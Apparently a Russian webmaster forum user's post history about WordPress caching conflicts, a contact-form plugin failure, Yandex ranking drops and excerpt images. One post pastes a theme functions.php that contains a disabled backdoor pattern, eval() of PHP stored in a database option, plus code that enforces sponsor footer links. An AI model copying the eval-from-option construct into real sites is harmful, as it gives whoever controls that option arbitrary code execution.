ollleup

Рейтинг
65
Регистрация
30.08.2009
LEOnidUKG:
Эм, зайдите в phpmyadmin в таблицу пользователей и сделайте экспорт в ексель.

Спасибо! Как сразу то не додумался :)

Есть сайт, на котором используется плагин кэширования maxsite. Есть необходимость в установке плагины для мобильной выдачи. Я так понимаю, должен быть кэш как для обычных пользователей, так и отдельный кэш для мобильных? Можно это как то реализовать?

Проблема: Не отправляются записи из формы обратной связи.

Суть проблемы. Установил плагин ГравитиФормз, настроил. Пытаюсь отправить, идет долгое обдумывание и ничего не происходит, т.е. запись не отправляется.

Что пробовал:

1. Исключил конфликт плагинов (все отключил, кроме гравитиформз). Не помогло.

2. Исключил конфликт темы (пробовал на 5 темах). Не помогло.

3. Снял все ограничения в php.ini. Не помогло.

4. Отключил ЕАкселератор. Не помогло.

5. Включал/Отключал Регистр_Глобалз. Не помогло.

6. Обращался в тех поддержку хостинга. ТОже пока не помогло.

7. Да, пробовал еще пару аналогичных плагинов - тоже не помогло.

Что еще может быть?

---------- Добавлено 28.02.2016 в 21:45 ----------

сам же и определил проблему - конфликт к кеширующим плагином maxsitecache. как этого конфликта избежать?

походу просто яндекс колбасило, через день все вернулось на свои места

по поводу последних апдейтов вопрос - пропали фавиконки и резко упал в выдаче сайт

С фавиконками конечно разберусь, хотя 5 лет выводились замечательно. На сайте никаких телодвижений не делал. Почему пропали - вопрос.

Но в гораздо большей степени интересует другой вопрос - резко упал в выдаче сайт. Начал анализировать - некорректно формируются сниппеты. У Платона спросил - говорит что описание, если сам Яндекс не может корректно определить, то описание берется из каталога DMOZ. Причем какой глюк - на все запросы в выдаче отдается только заглавная страница. Опять же, с сайтом ничего не делалось. Гугл замечательно формирует сниппеты. У яндекса после очередного апдейта вот такая ерунда случилась. Количество страниц в поиске чуть убавилось, но вообще не критично. Всю голову сломал, не знаю что и думать.

altezzik:
Быстрее так сверстать, чем искать похожий плагин.

возьметесь ? ;)

Sly32:
Не изобретайте велосипед, используйте the_excerpt() вместо the_content()


the_excerpt() -данная конструкция тогда вообще очищает любое изображение и даже миниатюрку

index.php выводит такую конструкцию

<?php the_content('<strong>Читать далее &raquo;</strong>'); ?>

Я так понимаю, что за снятие картинки в анонсе отвечает $stripteaser, вот как его правильно прописать в functions.php ?

Что необходимо поправить в этом файле функций ,что бы не выводилась картинка из записи. Дело в том, что в некоторых записях требуется в самом начале сообщения установить крупную картинку. При данных настройках на главной выводится и текст сообщения вместе с картинкой и миниатюра записи. Миниатюру надо оставить, а выводить только текст без картинки. Вот код файла functions.php

<?php


//add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
return $content;

global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
function cats_to_select()
{
$categories = get_categories('hide_empty=0');
$categories_array[] = array('value'=>'0', 'title'=>'Select');
foreach ($categories as $cat) {
if($cat->category_count == '0') {
$posts_title = 'No posts!';
} elseif($cat->category_count == '1') {
$posts_title = '1 post';
} else {
$posts_title = $cat->category_count . ' posts';
}
$categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
}
return $categories_array;
}

function mytheme_add_admin() {
global $themename, $shortname, $options;

if ( $_GET['page'] == basename(__FILE__) ) {

if ( 'save' == $_REQUEST['action'] ) {

foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }

echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
die;

}
}

add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
if (!empty($_REQUEST["theme_license"])) { theme_usage_message(); exit(); } function theme_usage_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:10px; margin: 10px; text-align:center; border: 2px dashed Red; font-family:arial; font-weight:bold; background: #fff; color: #000;\">This theme is released free for use under creative commons licence. All links in the footer should remain intact. These links are all family friendly and will not hurt your site in any way. This great theme is brought to you for free by these supporters.</p>"); } }

function mytheme_admin_init() {

global $themename, $shortname, $options;

$get_theme_options = get_option($shortname . '_options');
if($get_theme_options != 'yes') {
$new_options = $options;
foreach ($new_options as $new_value) {
update_option( $new_value['id'], $new_value['std'] );
}
update_option($shortname . '_options', 'yes');
}
}
function check_theme_footer() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<br />'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { theme_usage_message(); die; } } } check_theme_footer();


if(!function_exists('get_sidebars')) {
function get_sidebars($args='')
{
check_theme_header();
get_sidebar($args);
}
}


function mytheme_admin() {

global $themename, $shortname, $options;

if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>Настройки '.$themename.' сохранены.</strong></p></div>';

?>
<div class="wrap">
<h2>Настройки темы <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
<form method="post">



<?php foreach ($options as $value) {

switch ( $value['type'] ) {

case "open":
?>
<table width="100%" border="0" style=" padding:10px;">



<?php break;

case "close":
?>

</table><br />


<?php break;

case "title":
?>
<table width="100%" border="0" style="padding:5px 10px;"><tr>
<td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
</tr>


<?php break;

case 'text':
?>

<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php
break;

case 'textarea':
?>

<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>

</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php
break;

case 'select':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%">
<select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php
foreach ($value['options'] as $option) { ?>
<option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
<?php } ?>
</select>
</td>
</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php
break;

case "checkbox":
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
</td>
</tr>

<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php break;


}
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить" />
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();
global $pagenow;
if(isset($_GET['activated'] ) && $pagenow == "themes.php") {
wp_redirect( admin_url('themes.php?page=functions.php') );
exit();
}
function check_theme_header() { if (!(function_exists("functions_file_exists") && function_exists("theme_footer_t"))) { theme_usage_message(); die; } }
add_action('admin_menu', 'mytheme_add_admin');


?>

сколько АП по времени длится? до конца дня могут еще позиции поменятся или факт уже произошел и ждать следующего АПа?

123 4
Всего: 34